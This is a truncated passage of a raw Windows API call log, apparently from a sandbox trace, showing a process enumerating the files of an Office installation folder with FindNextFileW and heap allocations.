hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0069.318] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="")) returned 1 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.319] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.320] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.321] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 